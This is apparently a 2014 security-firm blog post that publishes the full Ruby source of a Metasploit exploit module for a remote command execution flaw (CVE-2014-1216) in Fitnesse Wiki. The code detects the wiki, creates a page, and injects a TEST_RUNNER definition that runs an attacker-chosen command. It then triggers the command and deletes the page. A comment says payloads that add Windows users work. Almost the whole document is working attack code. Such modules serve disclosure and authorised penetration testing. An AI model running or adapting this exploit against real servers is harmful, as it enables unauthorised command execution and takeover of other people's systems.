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Metasploit Module: Fitnesse Wiki Remote Command Execution

SecPod Research Team member (Veerendra G.G) wrote Metasploit module for Fitnesse Wiki Remote Command Execution Vulnerability.

Mar 24, 2014By Veerendra GG3 min read

SecPod Research Team member (Veerendra G.G) wrote Metasploit module for Fitnesse Wiki Remote Command Execution Vulnerability.

Metasploit Module can be found here.

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Fitnesse Wiki Remote Command Execution',
      'Description'    => %q{
        This module exploits a vulnerability found in Fitnesse Wiki, version 20140201
        and earlier.
      },
      'Author'         =>
        [
          'Jerzy Kramarz',  ## Vulnerability discovery
          'Veerendra G.G ', ## Metasploit Module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2014-1216' ],
          [ 'OSVDB', '103907' ],
          [ 'BID', '65921' ],
          [ 'URL', 'https://www.secpod.com/blog/?p=2311' ],
          [ 'URL', 'http://secpod.org/msf/fitnesse_wiki_rce.rb' ],
          [ 'URL', 'http://seclists.org/fulldisclosure/2014/Mar/1' ],
          [ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-1216/' ]
        ],

      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "",
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd', ##
              ##'RequiredCmd'  => 'generic telnet',
              ## payloads cmd/windows/adduser and cmd/windows/generic works perfectly
            }
        },
      'Platform'       => %w{ win },
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          ['Windows', { 'Platform' => 'win' } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Feb 25 2014'))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [true, 'Fitnesse Wiki base path', '/'])
      ], self.class)
  end

  def check
    print_status("#{peer} - Trying to detect Fitnesse Wiki")
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path)
    })

    if res && res.code == 200 && res.body.include?(">FitNesse<")
      print_good("#{peer} - FitNesse Wiki Detected!")
      return Exploit::CheckCode::Detected
    end

    return Exploit::CheckCode::Safe
  end

  def http_send_command(command)

    ## Construct random page in WikiWord format
    uri = normalize_uri(target_uri.path, 'TestP' + rand_text_alpha_lower(7))
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => uri + "?edit"
    })

    if !res || res.code != 200
      fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")
    end

    print_status("#{peer} - Retrieving edit time and ticket id")

    ## Get Edit Time and Ticket Id from the response
    res.body =~ /"editTime" value="((\d)+)"/
    edit_time = $1

    res.body =~ /"ticketId" value="((-?\d)+)"/
    ticket_id = $1

    ## Validate we are able to extract Edit Time and Ticket Id
    if !edit_time or !ticket_id
      print_error("#{peer} - Failed to get Ticket Id / Edit Time.")
      return
    end

    print_status("#{peer} - Attempting to create '#{uri}'")

    ## Construct Referer
    referer = "http://#{rhost}:#{rport}" + uri + "?edit"

    ## Construct command to be executed
    page_content = '!define COMMAND_PATTERN {%m}
!define TEST_RUNNER {' + command + '}'

    print_status("#{peer} - Injecting the payload")
    ## Construct POST request to create page with malicious commands
    ## inserted in the page
    res = send_request_cgi(
    {
      'uri'     => uri,
      'method'  => 'POST',
      'headers' => {'Referer' => referer},
      'vars_post' =>
        {
          'editTime' => edit_time,
          'ticketId' => ticket_id,
          'responder' => 'saveData',
          'helpText' => '',
          'suites' => '',
          '__EDITOR__1' => 'textarea',
          'pageContent' => page_content,
          'save' => 'Save',
        }
    })

    if res && res.code == 303
      print_status("#{peer} - Successfully created '#{uri}' with payload")
    end

    ## Execute inserted command
    print_status("#{peer} - Sending exploit request")
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => uri + "?test"
    })

    if res && res.code == 200
      print_status("#{peer} - Successfully sent exploit request")
    end

    ## Cleanup by deleting the created page
    print_status("#{peer} - Execting cleanup routine")
    referer = "http://#{rhost}:#{rport}" + uri + "?deletePage"
    res = send_request_cgi(
    {
      'uri'     => uri + "?deletePage",
      'method'  => 'POST',
      'headers' => {'Referer' => referer},
      'vars_post' =>
        {
          'confirmed' => 'Yes',
        }
    })
  end

  def exploit
    http_send_command(payload.encoded)
  end
end


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